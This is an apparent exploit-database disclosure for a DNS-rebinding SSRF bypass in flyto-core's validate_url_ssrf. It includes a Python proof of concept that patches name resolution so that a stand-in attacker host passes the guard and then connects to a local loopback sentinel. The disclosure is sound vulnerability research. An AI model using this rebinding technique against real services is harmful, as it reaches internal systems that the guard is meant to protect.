# Exploit Title: flyto_core 2.26.7- Server-Side Request Forgery # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/flytohub/flyto-core # Software Link: https://github.com/flytohub/flyto-core # Version: flyto-core <= 2.26.7 (fixed 2.26.8) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-6pm8-6f34-9v3g-flyto-core validate_url_ssrf() validates a resolved IP but the client re-resolves and connects without pinning; a TTL=0 rebind reaches internal targets. Advisory: GHSA-6pm8-6f34-9v3g. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc_dns_rebinding.py) --- """PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin). Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo flips public->private across successive lookups exactly as an attacker TTL=0 DNS does. The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the sentinel (private) -> internal reach that the guard was supposed to block.""" import os, sys, socket, threading, time sys.path.insert(0, os.path.join(os.getcwd(), "src")) from core.utils import validate_url_ssrf, SSRFError # 1) internal "service" sentinel: raw TCP listener on loopback srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) import errno for _p in (8080, 8443):     try:         srv.bind(("127.0.0.1", _p)); break     except OSError:         continue else:     raise SystemExit("no allowed port free") srv.listen(1) PORT = srv.getsockname()[1] hit = {"internal": False} def accept_once():     try:         c,_ = srv.accept(); hit["internal"] = True; c.close()     except OSError:         pass threading.Thread(target=accept_once, daemon=True).start() HOST = "rebind.attacker.test" PUBLIC = "93.184.216.34"   # example.com, public -> guard must ALLOW # 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1 _real = socket.getaddrinfo calls = {"n": 0} def flipping_getaddrinfo(host, port, *a, **k):     if host == HOST:         calls["n"] += 1         ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"         return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]     return _real(host, port, *a, **k) socket.getaddrinfo = flipping_getaddrinfo # 3) GUARD runs (resolves #1 = public) -> should PASS try:     validate_url_ssrf(f" http://{HOST}:{PORT}/ ")     print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/   (saw public {PUBLIC} on resolution #1)") except SSRFError as e:     print("[guard] blocked (rebinding not effective):", e); sys.exit(0) # 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel try:     s = socket.create_connection((HOST, PORT), timeout=3); s.close() except OSError as e:     print("[connect] error:", e) time.sleep(0.2) socket.getaddrinfo = _real print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}") print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"       if hit["internal"] else "NOT CONFIRMED") srv.close()